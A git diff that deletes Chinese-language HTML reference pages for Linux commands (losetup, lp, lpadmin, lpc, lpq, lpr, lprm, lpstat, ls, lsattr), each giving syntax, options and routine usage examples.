--o <偏移量>设置数据偏移量,单位是字节。
-
-

参数

-
    -
  • loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。
  • -
  • file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img
  • -
-

loop设备介绍

-

在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。

-

上面说的文件格式,我们经常见到的是 cd 或 DVD 的 ISO 光盘镜像文件或者是软盘(硬盘)的 *.img 镜像文件。通过这种 loop mount (回环mount)的方式,这些镜像文件就可以被 mount 到当前文件系统的一个目录下。

-

至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。

-

实例

-

创建空的磁盘镜像文件,这里创建一个1.44M的软盘:

-
dd if=/dev/zero of=floppy.img bs=512 count=2880
-
-

使用 losetup将磁盘镜像文件虚拟成快设备:

-
losetup /dev/loop1 floppy.img
-
-

挂载块设备:

-
mount /dev/loop0 /tmp
-
-

经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。

-

卸载loop设备:

-
umount /tmp
-losetup -d /dev/loop1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lp.html b/linux-command.docset/Contents/Resources/Documents/c/lp.html deleted file mode 100644 index 30e4b50d85..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lp.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - lp 命令,Linux lp 命令详解:打印文件或修改排队的打印任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lp

-

打印文件或修改排队的打印任务

-

补充说明

-

lp命令 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。

-

语法

-
lp(选项)(参数)
-
-

选项

-
-E:与打印服务器连接时强制使用加密;
--U:指定连接打印服务器时使用的用户名;
--d:指定接收打印任务的目标打印机;
--i:指定一个存在的打印任务号;
--m:打印完成时发送E-mail;
--n:指定打印的份数;
--t:指定打印任务的名称;
--H:指定打印任务开始的时间;
--P:指定需要打印的页码。
-
-

参数

-

文件:需打印的文件。

-

实例

-

要在连接在设备dlp0上的打印机lp0上打印文件/etc/motd,请输入:

-
lp /etc/motd
-
-

要使用文件的一个副本打印/etc/motd文件的30个副本,并且要用邮件通知用户作业完成,请输入:

-
lp -c -m -n30 -dlp0:lpd0 /etc/motd
-
-

要使用后端标志-f和-a并带上作业标题blah打印/etc/motd文件,请输入:

-
lp -t "blah" -o -f -o -a /etc/motd
-
-

要排队MyFile文件并返回作业编号,请输入:

-
lp myfile
-
-

要排队MyFile文件并禁止作业编号,请输入:

-
lp -s myfile
-
-

退出状态

-

该命令返回以下退出值:

-
    -
  • 0:所有输入文件成功处理。
  • -
  • -
    -

    0:没有输出设备可用,或者出现一个错误。

    -
    -
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lpadmin.html b/linux-command.docset/Contents/Resources/Documents/c/lpadmin.html deleted file mode 100644 index 359bee4571..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lpadmin.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - lpadmin 命令,Linux lpadmin 命令详解:配置CUPS套件中的打印机和类 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lpadmin

-

配置CUPS套件中的打印机和类

-

补充说明

-

lpadmin命令 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。

-

语法

-
lpadmin(选项)(参数)
-
-

选项

-
-c:将打印机加入类;
--i:为打印机设置“system V”风格的接口脚本;
--m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件;
--o:为“PPD”或服务器设置选项;
--r:从类中删除打印机;
--u:设置打印机用户级的访问控制;
--D:为打印机提供一个文字描述;
--E:允许打印机接受打印任务;
--L:为打印机位置提供一个文字描述;
--P:为打印机指定一个ppd描述文件;
--p:指定要配置的打印机名称;
--d:设置默认打印机。
-
-

参数

-

打印机:指定要配置的打印机的名称。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lpc.html b/linux-command.docset/Contents/Resources/Documents/c/lpc.html deleted file mode 100644 index 55d845d0ec..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lpc.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - lpc 命令,Linux lpc 命令详解:命令行方式打印机控制程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lpc

-

命令行方式打印机控制程序

-

补充说明

-

lpc命令 式命令行方式打印机控制程序,有5个内置命令。

-

语法

-
lpc
-
-

实例

-
[root@localhost ~]# lpc
-lpc> ?         
-命令可能是缩写。命令是:
-
-exit    help    quit    status  ?
-lpc> exit
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lpq.html b/linux-command.docset/Contents/Resources/Documents/c/lpq.html deleted file mode 100644 index df1b95e0a4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lpq.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - lpq 命令,Linux lpq 命令详解:显示打印队列中的打印任务的状态信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lpq

-

显示打印队列中的打印任务的状态信息

-

补充说明

-

lpq命令 用于显示打印队列中的打印任务的状态信息。

-

语法

-
lpq(选项)
-
-

选项

-
-E:强制使用加密方式与服务器连接;
--P:显示中的打印机上的打印队列状态;;
--U:自动可选的用户名;
--a:报告所有打印机的定义任务;
--h:指定打印服务器信息;
--l:使用长格式输出;
-+:指定显示状态的间隔时间。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lpr.html b/linux-command.docset/Contents/Resources/Documents/c/lpr.html deleted file mode 100644 index 35a2d0eae3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lpr.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - lpr 命令,Linux lpr 命令详解:将文件发送给指定打印机进行打印 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lpr

-

将文件发送给指定打印机进行打印

-

补充说明

-

lpr命令 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。

-

语法

-
lpr(选项)(参数)
-
-

选项

-
-E:与打印服务器连接时强制使用加密;
--H:指定可选的打印服务器;
--C:指定打印任务的名称;
--P:指定接受打印任务的目标打印机;
--U:指定可选的用户名;
--#:指定打印的份数;
--h:关闭banner打印;
--m:打印完成后发送E-mail;
--r:打印完成后删除文件。
-
-

参数

-

文件:需打印的文件。

-

实例

-

将man1和man2送到打印机lp进行打印:

-
lpr -P lp man1 man2
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lprm.html b/linux-command.docset/Contents/Resources/Documents/c/lprm.html deleted file mode 100644 index 5729b00114..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lprm.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - lprm 命令,Linux lprm 命令详解:删除打印队列中的打印任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lprm

-

删除打印队列中的打印任务

-

补充说明

-

lprm命令 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。

-

语法

-
lprm(选项)(参数)
-
-

选项

-
-E:与打印服务器连接时强制使用加密;
--P:指定接受打印任务的目标打印机;
--U:指定可选的用户名。
-
-

参数

-

打印任务:指定需删除的打印任务号。

-

实例

-

将打印机hpprint中的第102号任务移除:

-
lprm -Phpprint 102
-
-

将第101号任务由预设打印机中移除:

-
lprm 101
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lpstat.html b/linux-command.docset/Contents/Resources/Documents/c/lpstat.html deleted file mode 100644 index 905e8e0d1f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lpstat.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - lpstat 命令,Linux lpstat 命令详解:显示CUPS中打印机的状态信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lpstat

-

显示CUPS中打印机的状态信息

-

补充说明

-

lpstat命令 用于显示CUPS中打印机的状态信息。

-

语法

-
lpstat(选项)
-
-

选项

-
-E:与打印机连接时加密;
--R:显示打印任务的等级;
--U:指定可选用户名;
--a:显示接受打印任务的打印机;
--c:显示打印机类;
--d:显示默认打印机;
--h:指定可选的服务器信息;
--l:显示长格式;
--p:显示指定打印机,以及打印机是否接受打印任务;
--s:显示汇总信息;
--t:显示所有的状态信息。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ls.html b/linux-command.docset/Contents/Resources/Documents/c/ls.html deleted file mode 100644 index 9e0a058ee1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ls.html +++ /dev/null @@ -1,452 +0,0 @@ - - - - - - - - - - - ls 命令,Linux ls 命令详解:显示目录内容列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ls

-

显示目录内容列表

-

补充说明

-

ls命令 就是list的缩写,用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。

-

语法

-
ls [选项] [文件名...]
-   [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time] 
-   [--format={long,verbose,commas,across,vertical,single-col‐umn}] 
-   [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}] 
-   [--color[={none,auto,always}]] [--help] [--version] [--]
-
-

选项

-
-C     # 多列输出,纵向排序。
--F     # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。
--R     # 递归列出遇到的子目录。
--a     # 列出所有文件,包括以 "." 开头的隐含文件。
--c     # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
--d     # 将目录名像其它文件一样列出,而不是列出它们的内容。
--i     # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l  列出(以单列格式)文件模式
-       # (file mode),文件的链接数,所有者名,组名,文件大小(以字节为单位),时间信息,及文件名。
-       # 缺省时,时间信息显示最近修改时间;可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设备文件,
-       # 原先显示文件大小的区域通常显示的是主要和次要的信号(majorand minor device numbers)。
--q     # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。)
--r     # 逆序排列。
--t     # 按时间信息排序。
--u     # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
--1     # 单列输出。
--1, --format=single-column  # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。
--a, --all # 列出目录中所有文件,包括以“.”开头的文件。
--b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。
--c, --time=ctime, --time=status
-      # 按文件状态改变时间(i节点中的ctime)排序并输出目录内
-      # 容。如采用长格式输出(选项“-l”),使用文件的状态改
-      # 变时间取代文件修改时间。【译注:所谓文件状态改变(i节
-      # 点中以ctime标志),既包括文件被修改,又包括文件属性( 如所有者、组、链接数等等)的变化】
--d, --directory
-      # 将目录名像其它文件一样列出,而不是列出它们的内容。
--f    # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、
-      # “ - -color ”或“ -s ”,则禁止它们。
--g    # 忽略,为兼容UNIX用。
--i, --inode
-      # 在每个文件左边打印  i  节点号(也叫文件序列号和索引号:  file  serial  number and index num‐
-      # ber)。i节点号在每个特定的文件系统中是唯一的。
--k, --kilobytes
-      # 如列出文件大小,则以千字节KB为单位。
--l, --format=long, --format=verbose
-      # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte)
-      # 、及时间信息(如未指明是其它时间即指修改时间)。对于6个月以上的文件或超出未来
-      # 1小时的文件,时间信息中的时分将被年代取代。
-      # 每个目录列出前,有一行“总块数”显示目录下全部文件所占的磁盘空间。块默认是1024字节;
-      # 如果设置了 POSIXLY_CORRECT 的环境变量,除非用“-k”选项,则默认块大小是 512 字节。
-      # 每一个硬链接都计入总块数(因此可能重复计数),这无 疑是个缺点。
-
-# 列出的权限类似于以符号表示(文件)模式的规范。但是 ls
-      # 在每套权限的第三个字符中结合了多位( multiple bits ) 的信息,如下: s 如果设置了  setuid
-      # 位或 setgid   位,而且也设置了相应的可执行位。 S 如果设置了 setuid 位或 setgid
-      # 位,但是没有设置相应的可执行位。 t 如果设置了  sticky  位,而且也设置了相应的可执行位。  T
-      # 如果设置了 sticky 位,但是没有设置相应的可执行位。              x
-      # 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况(即可执行位未设置)。
--m, --format=commas
-      # 水平列出文件,每行尽可能多,相互用逗号和一个空格分隔。
--n, --numeric-uid-gid
-      # 列出数字化的 UID 和 GID 而不是用户名和组名。
--o    #  以长格式列出目录内容,但是不显示组信息。等于使用“         --format=long          --no-group
-      # ”选项。提供此选项是为了与其它版本的 ls 兼容。
--p    #  在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。
--q, --hide-control-chars
-      # 用问号代替文件名中非打印的字符。这是缺省选项。
--r, --reverse
-      # 逆序排列目录内容。
--s, --size
-      # 在每个文件名左侧输出该文件的大小,以    1024   字节的块为单位。如果设置了   POSIXLY_CORRECT
-      # 的环境变量,除非用“ -k ”选项,块大小是 512 字节。
--t, --sort=time
-      # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。
--u, --time=atime, --time=access, --time=use
-      # 类似选项“    -t    ”,但是用文件最近访问时间(    i     节点中的     atime     )取代文件修
-      # 改时间。如果使用长格式列出,打印的时间是最近访问时间。
--w, --width cols
-       # 假定屏幕宽度是      cols      (      cols     以实际数字取代)列。如未用此选项,缺省值是这
-       # 样获得的:如可能先尝试取自终端驱动,否则尝试取自环境变量          COLUMNS          (如果设
-       # 置了的话),都不行则取 80 。
-
--x, --format=across, --format=horizontal
-       # 多列输出,横向排序。
-
--A, --almost-all
-       # 显示除 "." 和 ".." 外的所有文件。
-
--B, --ignore-backups
-       # 不输出以“ ~ ”结尾的备份文件,除非已经在命令行中给出。
-
--C, --format=vertical
-       # 多列输出,纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时, 则总是缺省的。
-
--D, --dired
-       # 当采用长格式(“-l”选项)输出时,在主要输出后,额外打印一行:  //DIRED//  BEG1 END1 BEG2
-       # END2 ...
-
-# BEGn 和 ENDn 是无符号整数,记录每个文件名的起始、结束位置在输出中的位置(
-#        字节偏移量)。这使得          Emacs          易于找到文件名,即使文件名包含空格或换行等非正
-#        常字符也无需特异的搜索。
-# 
-# 如果目录是递归列出的(“ -R ”选项),每个子目录后列出类似一行:
-       # //SUBDIRED//  BEG1 END1 ...  【译注:我测试了 TurboLinux4.0 和 RedHat6.1 ,发现它们都是在 “
-       # //DIRED//     BEG1...     ”之后列出“     //SUBDIRED//     BEG1     ...      ”,也即只有一个
-       # 而不是在每个子目录后都有。而且“ //SUBDIRED// BEG1 ... ”列出的是各个子目 录名的偏移。】
-
--F, --classify, --file-type
-       # 在每个文件名后附上一个字符以说明该文件的类型。“  * ”表示普通的可执行文件; “ / ”表示目录;“
-       # @ ”表示符号链接;“ | ”表示FIFOs;“ = ”表示套接字 (sockets) ;什么也没有则表示普通文件。
-
--G, --no-group
-       # 以长格式列目录时不显示组信息。
-
--I, --ignorepattern
-       # 除非在命令行中给定,不要列出匹配shell文件名匹配式(pattern ,不是指一般
-       # 表达式)的文件。在shell中,文件名以"."起始的不与在文件名匹配式(pattern)
-       # 开头的通配符匹配。
-
--L, --dereference
-       # 列出符号链接指向的文件的信息,而不是符号链接本身。
-
--N, --literal
-       # 不要用引号引起文件名。
-
--Q, --quote-name
-       # 用双引号引起文件名,非打印字符以 C 语言的方法表示。
-
--R, --recursive
-       # 递归列出全部目录的内容。
-
--S, --sort=size
-       # 按文件大小而不是字典序排序目录内容,大文件靠前。
-
--T, --tabsize cols
-       # 假定每个制表符宽度是 cols 。缺省为 8。为求效率, ls 可能在输出中使用制表符。  若 cols 为
-       0,则不使用制表符。
-
--U, --sort=none
-       # 不排序目录内容;按它们在磁盘上存储的顺序列出。(选项“-U”和“-f”的不
-       # 同是前者不启动或禁止相关的选项。)这在列很大的目录时特别有用,因为不加排序
-       # 能显著地加快速度。
-
--X, --sort=extension
-       # 按文件扩展名(由最后的 "." 之后的字符组成)的字典序排序。没有扩展名的先列 出。
-
---color[=when]
-       # 指定是否使用颜色区别文件类别。环境变量  LS_COLORS  指定使用的颜色。如何设置 这个变量见 dir‐
-       # colors(1) 。 when 可以被省略,或是以下几项之一:
-none # 不使用颜色,这是缺省项。
-       # auto 仅当标准输出是终端时使用。 always 总是使用颜色。指定 --color 而且省略 when  时就等同于
-       # --color=always 。
-
---full-time
-       # 列出完整的时间,而不是使用标准的缩写。格式如同          date(1)          的缺省格式;此格式
-       # 是不能改变的,但是你可以用 cut(1) 取出其中的日期字串并将结果送至命令 “ date -d ”。
-
-# 输出的时间包括秒是非常有用的。( Unix 文件系统储存文件的时间信息精确到秒,
-       # 因此这个选项已经给出了系统所知的全部信息。)例如,当你有一个         Makefile          文件
-       # 不能恰当地生成文件时,这个选项会提供帮助。
-
-

参数

-

目录:指定要显示列表的目录,也可以是具体的文件。

-

实例

-
$ ls       # 仅列出当前目录可见文件
-$ ls -l    # 列出当前目录可见文件详细信息
-$ ls -hl   # 列出详细信息并以可读大小显示文件大小
-$ ls -al   # 列出所有文件(包括隐藏)的详细信息
-$ ls --human-readable --size -1 -S --classify # 按文件大小排序
-$ du -sh * | sort -h # 按文件大小排序(同上)
-
-

显示当前目录下包括影藏文件在内的所有文件列表

-
[root@localhost ~]# ls -a
-.   anaconda-ks.cfg  .bash_logout   .bashrc  install.log         .mysql_history  satools  .tcshrc   .vimrc
-..  .bash_history    .bash_profile  .cshrc   install.log.syslog  .rnd            .ssh     .viminfo
-
-

输出长格式列表

-
[root@localhost ~]# ls -1
-
-anaconda-ks.cfg
-install.log
-install.log.syslog
-satools
-
-

显示文件的inode信息

-

索引节点(index inode简称为“inode”)是Linux中一个特殊的概念,具有相同的索引节点号的两个文本本质上是同一个文件(除文件名不同外)。

-
[root@localhost ~]# ls -i -l anaconda-ks.cfg install.log
-2345481 -rw------- 1 root root   859 Jun 11 22:49 anaconda-ks.cfg
-2345474 -rw-r--r-- 1 root root 13837 Jun 11 22:49 install.log
-
-

水平输出文件列表

-
[root@localhost /]# ls -m
-
-bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, root, sbin, selinux, srv, sys, tmp, usr, var
-
-

修改最后一次编辑的文件

-

最近修改的文件显示在最上面。

-
[root@localhost /]# ls -t
-
-tmp  root  etc  dev  lib  boot  sys  proc  data  home  bin  sbin  usr  var  lost+found  media  mnt  opt  selinux  srv  misc
-
-

显示递归文件

-
[root@localhost ~]# ls -R
-.:
-anaconda-ks.cfg  install.log  install.log.syslog  satools
-
-./satools:
-black.txt  freemem.sh  iptables.sh  lnmp.sh  mysql  php502_check.sh  ssh_safe.sh
-
-

打印文件的UID和GID

-
[root@localhost /]# ls -n
-
-total 254
-drwxr-xr-x   2 0 0  4096 Jun 12 04:03 bin
-drwxr-xr-x   4 0 0  1024 Jun 15 14:45 boot
-drwxr-xr-x   6 0 0  4096 Jun 12 10:26 data
-drwxr-xr-x  10 0 0  3520 Sep 26 15:38 dev
-drwxr-xr-x  75 0 0  4096 Oct 16 04:02 etc
-drwxr-xr-x   4 0 0  4096 Jun 12 10:26 home
-drwxr-xr-x  14 0 0 12288 Jun 16 04:02 lib
-drwx------   2 0 0 16384 Jun 11 22:46 lost+found
-drwxr-xr-x   2 0 0  4096 May 11  2011 media
-drwxr-xr-x   2 0 0  4096 Nov  8  2010 misc
-drwxr-xr-x   2 0 0  4096 May 11  2011 mnt
-drwxr-xr-x   2 0 0  4096 May 11  2011 opt
-dr-xr-xr-x 232 0 0     0 Jun 15 11:04 proc
-drwxr-x---   4 0 0  4096 Oct 15 14:43 root
-drwxr-xr-x   2 0 0 12288 Jun 12 04:03 sbin
-drwxr-xr-x   2 0 0  4096 May 11  2011 selinux
-drwxr-xr-x   2 0 0  4096 May 11  2011 srv
-drwxr-xr-x  11 0 0     0 Jun 15 11:04 sys
-drwxrwxrwt   3 0 0 98304 Oct 16 08:45 tmp
-drwxr-xr-x  13 0 0  4096 Jun 11 23:38 usr
-drwxr-xr-x  19 0 0  4096 Jun 11 23:38 var
-
-

列出文件和文件夹的详细信息

-
[root@localhost /]# ls -l
-
-total 254
-drwxr-xr-x   2 root root  4096 Jun 12 04:03 bin
-drwxr-xr-x   4 root root  1024 Jun 15 14:45 boot
-drwxr-xr-x   6 root root  4096 Jun 12 10:26 data
-drwxr-xr-x  10 root root  3520 Sep 26 15:38 dev
-drwxr-xr-x  75 root root  4096 Oct 16 04:02 etc
-drwxr-xr-x   4 root root  4096 Jun 12 10:26 home
-drwxr-xr-x  14 root root 12288 Jun 16 04:02 lib
-drwx------   2 root root 16384 Jun 11 22:46 lost+found
-drwxr-xr-x   2 root root  4096 May 11  2011 media
-drwxr-xr-x   2 root root  4096 Nov  8  2010 misc
-drwxr-xr-x   2 root root  4096 May 11  2011 mnt
-drwxr-xr-x   2 root root  4096 May 11  2011 opt
-dr-xr-xr-x 232 root root     0 Jun 15 11:04 proc
-drwxr-x---   4 root root  4096 Oct 15 14:43 root
-drwxr-xr-x   2 root root 12288 Jun 12 04:03 sbin
-drwxr-xr-x   2 root root  4096 May 11  2011 selinux
-drwxr-xr-x   2 root root  4096 May 11  2011 srv
-drwxr-xr-x  11 root root     0 Jun 15 11:04 sys
-drwxrwxrwt   3 root root 98304 Oct 16 08:48 tmp
-drwxr-xr-x  13 root root  4096 Jun 11 23:38 usr
-drwxr-xr-x  19 root root  4096 Jun 11 23:38 var
-
-

列出可读文件和文件夹详细信息

-
[root@localhost /]# ls -lh
-
-total 254K
-drwxr-xr-x   2 root root 4.0K Jun 12 04:03 bin
-drwxr-xr-x   4 root root 1.0K Jun 15 14:45 boot
-drwxr-xr-x   6 root root 4.0K Jun 12 10:26 data
-drwxr-xr-x  10 root root 3.5K Sep 26 15:38 dev
-drwxr-xr-x  75 root root 4.0K Oct 16 04:02 etc
-drwxr-xr-x   4 root root 4.0K Jun 12 10:26 home
-drwxr-xr-x  14 root root  12K Jun 16 04:02 lib
-drwx------   2 root root  16K Jun 11 22:46 lost+found
-drwxr-xr-x   2 root root 4.0K May 11  2011 media
-drwxr-xr-x   2 root root 4.0K Nov  8  2010 misc
-drwxr-xr-x   2 root root 4.0K May 11  2011 mnt
-drwxr-xr-x   2 root root 4.0K May 11  2011 opt
-dr-xr-xr-x 235 root root    0 Jun 15 11:04 proc
-drwxr-x---   4 root root 4.0K Oct 15 14:43 root
-drwxr-xr-x   2 root root  12K Jun 12 04:03 sbin
-drwxr-xr-x   2 root root 4.0K May 11  2011 selinux
-drwxr-xr-x   2 root root 4.0K May 11  2011 srv
-drwxr-xr-x  11 root root    0 Jun 15 11:04 sys
-drwxrwxrwt   3 root root  96K Oct 16 08:49 tmp
-drwxr-xr-x  13 root root 4.0K Jun 11 23:38 usr
-drwxr-xr-x  19 root root 4.0K Jun 11 23:38 var
-
-

显示文件夹信息

-
[root@localhost /]# ls -ld /etc/
-
-drwxr-xr-x 75 root root 4096 Oct 16 04:02 /etc/
-
-

按时间列出文件和文件夹详细信息

-
[root@localhost /]# ls -lt
-
-total 254
-drwxrwxrwt   3 root root 98304 Oct 16 08:53 tmp
-drwxr-xr-x  75 root root  4096 Oct 16 04:02 etc
-drwxr-x---   4 root root  4096 Oct 15 14:43 root
-drwxr-xr-x  10 root root  3520 Sep 26 15:38 dev
-drwxr-xr-x  14 root root 12288 Jun 16 04:02 lib
-drwxr-xr-x   4 root root  1024 Jun 15 14:45 boot
-drwxr-xr-x  11 root root     0 Jun 15 11:04 sys
-dr-xr-xr-x 232 root root     0 Jun 15 11:04 proc
-drwxr-xr-x   6 root root  4096 Jun 12 10:26 data
-drwxr-xr-x   4 root root  4096 Jun 12 10:26 home
-drwxr-xr-x   2 root root  4096 Jun 12 04:03 bin
-drwxr-xr-x   2 root root 12288 Jun 12 04:03 sbin
-drwxr-xr-x  13 root root  4096 Jun 11 23:38 usr
-drwxr-xr-x  19 root root  4096 Jun 11 23:38 var
-drwx------   2 root root 16384 Jun 11 22:46 lost+found
-drwxr-xr-x   2 root root  4096 May 11  2011 media
-drwxr-xr-x   2 root root  4096 May 11  2011 mnt
-drwxr-xr-x   2 root root  4096 May 11  2011 opt
-drwxr-xr-x   2 root root  4096 May 11  2011 selinux
-drwxr-xr-x   2 root root  4096 May 11  2011 srv
-drwxr-xr-x   2 root root  4096 Nov  8  2010 misc
-
-

按修改时间列出文件和文件夹详细信息

-
[root@localhost /]# ls -ltr
-
-total 254
-drwxr-xr-x   2 root root  4096 Nov  8  2010 misc
-drwxr-xr-x   2 root root  4096 May 11  2011 srv
-drwxr-xr-x   2 root root  4096 May 11  2011 selinux
-drwxr-xr-x   2 root root  4096 May 11  2011 opt
-drwxr-xr-x   2 root root  4096 May 11  2011 mnt
-drwxr-xr-x   2 root root  4096 May 11  2011 media
-drwx------   2 root root 16384 Jun 11 22:46 lost+found
-drwxr-xr-x  19 root root  4096 Jun 11 23:38 var
-drwxr-xr-x  13 root root  4096 Jun 11 23:38 usr
-drwxr-xr-x   2 root root 12288 Jun 12 04:03 sbin
-drwxr-xr-x   2 root root  4096 Jun 12 04:03 bin
-drwxr-xr-x   4 root root  4096 Jun 12 10:26 home
-drwxr-xr-x   6 root root  4096 Jun 12 10:26 data
-dr-xr-xr-x 232 root root     0 Jun 15 11:04 proc
-drwxr-xr-x  11 root root     0 Jun 15 11:04 sys
-drwxr-xr-x   4 root root  1024 Jun 15 14:45 boot
-drwxr-xr-x  14 root root 12288 Jun 16 04:02 lib
-drwxr-xr-x  10 root root  3520 Sep 26 15:38 dev
-drwxr-x---   4 root root  4096 Oct 15 14:43 root
-drwxr-xr-x  75 root root  4096 Oct 16 04:02 etc
-drwxrwxrwt   3 root root 98304 Oct 16 08:54 tmp
-
-

按照特殊字符对文件进行分类

-
[root@localhost nginx-1.2.1]# ls -F
-
-auto/  CHANGES  CHANGES.ru  conf/  configure*  contrib/  html/  LICENSE  Makefile  man/  objs/  README  src/
-
-

列出文件并标记颜色分类

-
[root@localhost nginx-1.2.1]# ls --color=auto
-
-auto  CHANGES  CHANGES.ru  conf  configure  contrib  html  LICENSE  Makefile  man  objs  README  src
-
-

扩展知识

-

不同颜色代表的文件类型

-
    -
  • -

    蓝色:目录

    -
  • -
  • -

    绿色:可执行文件

    -
  • -
  • -

    白色:一般性文件,如文本文件,配置文件等

    -
  • -
  • -

    红色:压缩文件或归档文件

    -
  • -
  • -

    浅蓝色:链接文件

    -
  • -
  • -

    红色闪烁:链接文件存在问题

    -
  • -
  • -

    黄色:设备文件

    -
  • -
  • -

    青黄色:管道文件

    -
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lsattr.html b/linux-command.docset/Contents/Resources/Documents/c/lsattr.html deleted file mode 100644 index 440680d9cc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lsattr.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - lsattr 命令,Linux lsattr 命令详解:查看文件的第二扩展文件系统属性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lsattr

-

查看文件的第二扩展文件系统属性

-

补充说明

-

lsattr命令 用于查看文件的第二扩展文件系统属性。

-

语法

-
lsattr(选项)(参数)
-
-

选项

-
-E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。
--D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。
--R:递归的操作方式;
--V:显示指令的版本信息;
--a:列出目录中的所有文件,包括隐藏文件。
-
-

lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。

-

参数

-

文件:指定显示文件系统属性的文件名。

-

实例

-
